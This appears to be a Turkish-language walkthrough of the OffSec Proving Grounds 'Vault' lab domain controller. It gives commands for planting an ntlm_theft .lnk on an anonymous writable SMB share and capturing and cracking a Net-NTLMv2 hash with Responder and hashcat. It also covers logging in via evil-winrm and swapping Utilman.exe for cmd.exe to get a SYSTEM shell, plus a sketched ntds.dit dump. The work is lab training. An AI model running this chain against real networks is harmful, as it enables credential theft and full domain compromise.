Tüm yazılar

Proving Grounds: Vault — NTLM Hash Yakalama ve SeRestorePrivilege ile SYSTEM

Yazılabilir anonim SMB paylaşımına bırakılan .lnk dosyasıyla Net-NTLMv2 yakalama, hashcat ile kırma, WinRM erişimi ve Utilman.exe değişimiyle SYSTEM kabuğu.

MakineVault (192.168.154.172, domain vault.offsec)
PlatformOffSec Proving Grounds Practice
İşletim sistemi / rolWindows Server 2019 (build 17763), Domain Controller
İlk erişimAnonim yazılabilir SMB paylaşımı → zorla NTLM kimlik doğrulaması
Yetki yükseltmeSeRestorePrivilege → RDP üzerinden Utilman.exe değişimi

Saldırı zinciri özeti

  1. Nmap; SMB, LDAP, WinRM ve RDP açık bir Domain Controller gösteriyor.
  2. RPC üzerinden anonim oturum reddediliyor, ancak DocumentsShare paylaşımına anonim olarak yazılabiliyor.
  3. ntlm_theft ile hazırlanan zararlı .lnk dosyası paylaşıma bırakılıyor. Klasöre bakan kullanıcı bizim makinemize kimlik doğrulaması yapıyor ve Responder anirudh kullanıcısının Net-NTLMv2 hash'ini yakalıyor.
  4. Hashcat, hash'i rockyou.txt ile saniyeler içinde kırıyor; evil-winrm ile WinRM'e giriyoruz.
  5. whoami /priv çıktısında SeRestorePrivilege var: Utilman.exe yerine cmd.exe koyup RDP giriş ekranında Win+U'ya basarak NT AUTHORITY\SYSTEM kabuğu alıyoruz.

1. Keşif

sudo nmap -sC -sV -Pn -p- -T4 192.168.154.172 --open
Nmap çıktısı: DNS, Kerberos, LDAP, SMB, RDP ve WinRM portları açık
Tam port taraması: hedef DC.vault.offsec adlı Domain Controller.

Açık portlar ve bizim için ne anlama geldikleri:

PortServisNeden önemli
53DNSAlan adlarını IP adreslerine çevirir; DC'de domain bölgesini sunar.
88 / 464Kerberos / kpasswdActive Directory'nin birincil kimlik doğrulama protokolü.
135, 139, 445RPC / SMBDosya paylaşımı ve uzak yönetim. Giriş noktamız burası.
389 / 3268LDAP / Global CatalogAD nesnelerini (kullanıcılar, gruplar vb.) sorgulamak için kullanılan dizin hizmeti.
3389RDPUzak Masaüstü. Yetki yükseltmede tekrar kullanacağız.
5985WinRMUzak PowerShell. Parolayı bulduğumuzda kabuğumuz bu olacak.

Taramadaki iki ayrıntı ileride önem kazanıyor: WinRM (5985) açık, yani kırılan bir parola doğrudan kabuğa dönüşür. SMB'de imzalama (signing) "enabled and required" durumda olduğu için bu makineye NTLM relay saldırısı yapılamaz; yakalanan hash'i kırmamız gerekecek.

Domain'i /etc/hosts dosyasına ekleyip DC ile saat farkını kontrol ettim:

echo "192.168.154.172 vault.offsec" | sudo tee -a /etc/hosts
sudo ntpdig 192.168.154.172

Kerberos, saat farkı 5 dakikayı aşarsa istekleri reddeder. ntpdig <IP> tek başına farkı sadece gösterir; saati gerçekten ayarlamak için sudo ntpdig -S <IP> (ya da sudo ntpdate <IP>) gerekir. Bu zincirde sonunda Kerberos kullanılmıyor (WinRM NTLM'e düşüyor), ama AD makinelerinde saati önceden eşitlemek iyi bir alışkanlık.

2. Anonim erişim denemeleri

Kimlik bilgisi olmadan (boş kullanıcı adı ve parola, -U '' -N) kullanıcı listesi çekmeyi denedim ve enum4linux çalıştırdım:

rpcclient -U '' -N 192.168.154.172
enum4linux 192.168.154.172
rpcclient NT_STATUS_ACCESS_DENIED döndürüyor, enum4linux duruyor
RPC üzerinden anonim oturum reddediliyor; enum4linux oturum kontrolünden sonra duruyor.

NT_STATUS_ACCESS_DENIED, sunucunun RPC tarafında anonim (boş kullanıcı adı ve parolalı) oturumları reddettiği anlamına gelir; buradan kullanıcı listesi çıkmıyor. SMB paylaşımlarını listelemek ise hâlâ mümkün:

smbclient -L //192.168.154.172 -N
Paylaşım listesi: ADMIN$, C$, DocumentsShare, IPC$, NETLOGON, SYSVOL
Varsayılan paylaşımların yanında standart olmayan bir DocumentsShare var.

DocumentsShare anonim olarak açılıyor ama boş. NETLOGON ve SYSVOL'da bağlantı kuruluyor, fakat ls komutu NT_STATUS_ACCESS_DENIED döndürüyor: anonim oturum paylaşıma bağlanabiliyor ama içini listeleme ya da okuma yetkisi yok.

NETLOGON ve SYSVOL listelemesi NT_STATUS_ACCESS_DENIED ile başarısız
Bağlantıya izin var, listelemeye yok.

3. Kaçırılmaması gereken nokta: paylaşıma yazabiliyor muyuz?

Boş ve standart olmayan bir paylaşım çoğu zaman bir kullanıcının ya da zamanlanmış bir görevin baktığı bir "bırakma kutusu"dur. Sadece okumakla yetinmeyip yazma iznini test ettim:

echo test > test.txt
smbclient //192.168.154.172/DocumentsShare -N -c 'put test.txt'
test.txt DocumentsShare'e başarıyla yüklendi
Anonim olarak dosya yükleyebiliyoruz. Giriş noktası bu.

4. Neden işe yarıyor: NTLM ve zorla kimlik doğrulama

NTLM (NT LAN Manager), Microsoft'un eski kimlik doğrulama protokol ailesidir. Modern domain'lerde öncelik Kerberos'tadır, ama NTLM uyumluluk için açık kalır ve bir istemci bir kaynağa IP adresiyle bağlandığında hâlâ kullanılır.

  • NT hash: Windows parolaları düz metin olarak saklamaz. NT hash, parolanın UTF-16LE kodlanmış hâlinin MD4 özetidir; DC'de bu hash'ler ntds.dit dosyasında tutulur.
  • Challenge-response (sınama-yanıt): sunucu rastgele bir challenge gönderir; istemci bu challenge ve kendi NT hash'inden bir response hesaplayıp geri yollar. Parolanın kendisi ağda hiç dolaşmaz.
  • Zayıf nokta: istemci, kime kimlik doğruladığını sorgulamaz. Windows \\SALDIRGAN_IP\paylasim\… gibi bir yola dokunduğunda, oturum açmış kullanıcının NTLM yanıtını karşısına çıkan sunucuya otomatik olarak gönderir.

Yakaladığımız şey bir Net-NTLMv2 yanıtıdır. Bu, NT hash'in kendisi değildir, dolayısıyla pass-the-hash için kullanılamaz. Ya çevrimdışı kırılır (hashcat ve kelime listesi) ya da başka bir servise relay edilir. Burada SMB imzalama zorunlu olduğu için relay seçeneği yok, geriye kırmak kalıyor.

Plan:

  1. Simge yolu kendi IP'mizi gösteren bir kısayol (.lnk) dosyası hazırlamak.
  2. Kendi makinemizde sahte bir SMB sunucusu açmak.
  3. .lnk dosyasını yazılabilir paylaşıma bırakmak.
  4. Bir kullanıcı (ya da onu taklit eden bir bot) klasörü açtığında Explorer simgeyi yüklemek için bize bağlanır ve hash'i yakalarız.

5. Tuzak dosyayı hazırlamak: ntlm_theft

ntlm_theft, NTLM kimlik doğrulamasını tetikleyen birçok formatta (.lnk, .url, .scf, .docx, …) tuzak dosya üretir. Windows Explorer'da güvenilir bir tetikleyici olduğu için .lnk kullandım. Daha fazla durumu kapsamak için -g all ile tüm formatlar tek seferde üretilebilir.

# -s KENDİ tun0 IP'miz olmalı, hedefinki değil
python3 ntlm_theft.py -g lnk -s 192.168.45.160 -f vault
ParametreAnlamı
-g lnk (--generate)Üretilecek tuzak dosyanın türü. Burada bir Windows kısayolu.
-s 192.168.45.160 (--server)Kurbanın bağlanacağı IP: sahte SMB sunucusunun dinlediği kendi VPN (tun0) adresimiz.
-f vault (--filename)Çıktı adı. vault/vault.lnk dosyası oluşur.
ntlm_theft vault/vault.lnk dosyasını oluşturuyor
İlk denemem: burada -s parametresine hedefin IP'si (192.168.154.172) yazılmış. Bu yanlış.

Sık yapılan hata: -s hedefin adresi değil, senin dinlediğin adrestir. Hedefi gösteren bir .lnk dosyası kurbanın kendine kimlik doğrulamaya çalışmasına yol açar ve dinleyicine hiçbir şey düşmez. IP'ni ip -4 addr show tun0 ile kontrol et.

6. Dinleyici: impacket-smbserver mı, Responder mı?

İlk denemem impacket-smbserver oldu ve hash gelmedi:

impacket-smbserver test . -smb2support
impacket-smbserver başlatıldı, gelen bağlantı yok
Sunucu açılıyor ama bağlantı gelmiyor.

Responder ile dosyayı tekrar yükleyince hash düştü:

sudo responder -I tun0
smbclient //192.168.154.172/DocumentsShare -N -c 'put vault.lnk'
vault.lnk DocumentsShare'e yüklendi
Responder VAULT\anirudh için NTLMv2-SSP hash'ini yakalıyor
Responder, VAULT\anirudh kullanıcısının Net-NTLMv2 hash'ini yakaladı.

Peki impacket neden çalışmadı? Notlarımda önce paylaşım adı uyuşmazlığını ve LLMNR zehirlemesini sebep göstermiştim. İkisi de doğru değil. NTLM kimlik doğrulaması SMB'nin oturum kurma (session setup) aşamasında, paylaşım adına bakılmadan önce gerçekleşir; yani impacket-smbserver paylaşımın adı ne olursa olsun hash'i ekrana basar. LLMNR/NBT-NS zehirlemesi yayın (broadcast) isim sorgularında işe yarar, VPN'i geçmez ve kurban doğrudan bir IP'ye bağlanırken gerekmez. -smb2support da zaten verilmişti. En olası sebepler şunlar: .lnk hâlâ yanlış IP'yi gösteriyordu (bir önceki bölüm) ya da hedefteki bot paylaşıma birkaç dakikada bir bakıyor ve sunucu o anı beklemeden kapatıldı. Bu saldırı için iki araç da çalışır; yeter ki tuzak senin IP'ni göstersin ve yeterince bekle.

7. Hash'i kırmak

Hash biçimi kullanıcı::DOMAIN:challenge:NTProofStr:blob; hashcat modu 5600 (NetNTLMv2):

echo 'anirudh::VAULT:2227191f219be214:…' > hash.txt
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat Status: Cracked, parola SecureHM
Birkaç saniyede kırıldı: anirudh : SecureHM.

8. İlk erişim: WinRM

5985 portu açık olduğu için kimlik bilgileri doğrudan bir PowerShell oturumuna dönüşüyor:

evil-winrm -i 192.168.154.172 -u anirudh -p 'SecureHM'
anirudh olarak evil-winrm oturumu
anirudh masaüstündeki local.txt (bayrak gizlendi)
local.txt, C:\Users\anirudh\Desktop içinde (bayrak gizlendi).

9. Yetki yükseltme: SeRestorePrivilege

whoami /priv
whoami /priv: SeBackupPrivilege ve SeRestorePrivilege etkin
SeBackupPrivilege ve SeRestorePrivilege dahil birçok tehlikeli yetki Enabled durumda.

Buradan birden fazla yol açılıyor. En basiti olduğu için SeRestorePrivilege'i seçtim:

  • Ne sağlar: SeRestorePrivilege yedeklerin geri yüklenebilmesi için vardır ve sahibine, ACL'den bağımsız olarak herhangi bir dosyaya yazma ve onu değiştirme imkânı verir. (ACL'leri atlayarak her dosyayı okumak ise SeBackupPrivilege'in işidir.)
  • Utilman.exe: giriş ekranında Win+U'ya ya da Erişim Kolaylığı simgesine basınca C:\Windows\System32\Utilman.exe çalışır. Giriş ekranında henüz oturum açmış bir kullanıcı olmadığı için Winlogon bu programı NT AUTHORITY\SYSTEM olarak başlatır.
  • Fikir: Utilman.exe'nin yerine cmd.exe koyarsak, Win+U bize SYSTEM yetkili bir komut satırı açar.
cd C:\Windows\System32
ren Utilman.exe Utilman.old
ren cmd.exe Utilman.exe
System32 içinde Utilman.exe ve cmd.exe yeniden adlandırılıyor

Ardından RDP'ye bağlandım ama oturum açmadım; sadece giriş ekranı gerekiyordu:

rdesktop 192.168.154.172
RDP üzerinden Windows giriş ekranı
Giriş ekranında Win+U'ya bas.
Giriş ekranında utilman.exe yerine çalışan cmd.exe
Erişim Kolaylığı yerine SYSTEM yetkili cmd.exe açılıyor.
Administrator masaüstündeki proof.txt (bayrak gizlendi)
proof.txt, C:\Users\Administrator\Desktop içinde (bayrak gizlendi).

Temizlik. Yukarıdaki komutlar sistemi cmd.exe'siz bırakır. Lab'da sorun değil, ama gerçek bir testte iş bitince dosyaları geri al: önce ren Utilman.exe cmd.exe, sonra ren Utilman.old Utilman.exe. Ayrıca bir yetki whoami /priv çıktısında Disabled görünüyorsa önce etkinleştirilmesi gerekir (örneğin EnableSeRestorePrivilege.ps1 betiğiyle). Vault'ta zaten Enabled durumdaydı.

Alternatif yollar

  • SeBackupPrivilege: aynı hesap her dosyayı okuyabiliyor da. DC'de bu, diskshadow ile gölge kopya alıp robocopy /b ile ntds.dit dosyasını kopyalamak ve impacket-secretsdump ile tüm domain hash'lerini dökmek anlamına gelir.
  • AD izinleri: BloodHound ile veri toplayıp anirudh'un hangi nesneler üzerinde hakkı olduğuna (ör. Group Policy nesneleri) bakmak da denemeye değer. Yayınlanmış writeup'lardan birinde ikinci bir teknik anlatılıyor; onu henüz denemedim.

Çıkarımlar

  • Anonim bir paylaşımda sadece okumayı değil, yazmayı da test et. Boş ve standart dışı bir paylaşım çoğu zaman birinin izlediği bir bırakma kutusudur.
  • ntlm_theft'te ve her tuzak dosyada adres hedefin değil, senin adresin.
  • Bir araç "çalışmadığında" sıradakine geçmeden önce nedenini bul: zamanlama, IP, protokol.
  • Nmap çıktısını iki kez oku: signing required relay'i eler; açık 5985 portu, kırılan parolanın nasıl kabuğa dönüşeceğini söyler.
  • SeBackup/SeRestore türü yetkiler tek başlarına fiilen yönetici yetkisidir.

Kaynaklar